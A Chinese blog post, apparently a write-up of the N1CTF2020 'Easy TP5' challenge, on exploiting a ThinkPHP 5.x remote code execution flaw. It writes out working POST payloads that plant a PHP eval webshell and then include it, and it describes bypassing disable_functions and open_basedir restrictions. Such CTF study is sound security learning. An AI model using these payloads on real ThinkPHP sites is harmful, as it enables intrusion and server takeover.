[N1CTF2020]Easy TP5

[N1CTF2020]Easy TP5

知识点

ThinkPHP 5.x 的 RCE 漏洞代码分析

解题步骤

tp5,根据上面那条链子可以进行代码执行。但是一堆函数被ban了。无奈之下只好去看wp:https://r3kapig.com/writeup/20201020-n1ctf/#easy_tp5
先post:_method=__construct&filter[]=think\Build::module&method=GET&get[]=index//../../public/?><?php eval($_REQUEST[1]);
本地调试了一下看看原理:


可以看到buildHello传入了index//../../public/?><?php eval($_REQUEST[1]);,跟进看看:

由于没有这个文件,所以会进入if,然后就将木马写入。而且会新建一个?><?php eval($_REQUEST[1]);模块在public下。所以写入shell的文件路径为:/public/?><?php eval($_REQUEST[1]);/Index.php
这个文件访问不到,但是可以用文件包含:_method=__construct&filter[]=think\__include_file&method=GET&get[]=/var/www/html/public/?><?php eval($_REQUEST[1]);/controller/Index.php
触发Loader类里面的__include_file函数,然后getshell。
根据wp的做法,蚁剑连接之后直接bypass disable_function。但是buu打不通。
看了一波phpinfo:php 版本7.4.3

刚好打不了,gg了本来。但是发现disable_function没有过滤file_get_contents,就打算用这个函数。但是有open_basedir限制,直接bypass就能用file_get_contents获取flag

由于之前已经mkdir('tmpdir')了,所以上面截图就没加,除了第一次要加上,其他都不用加,要不然就报错

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇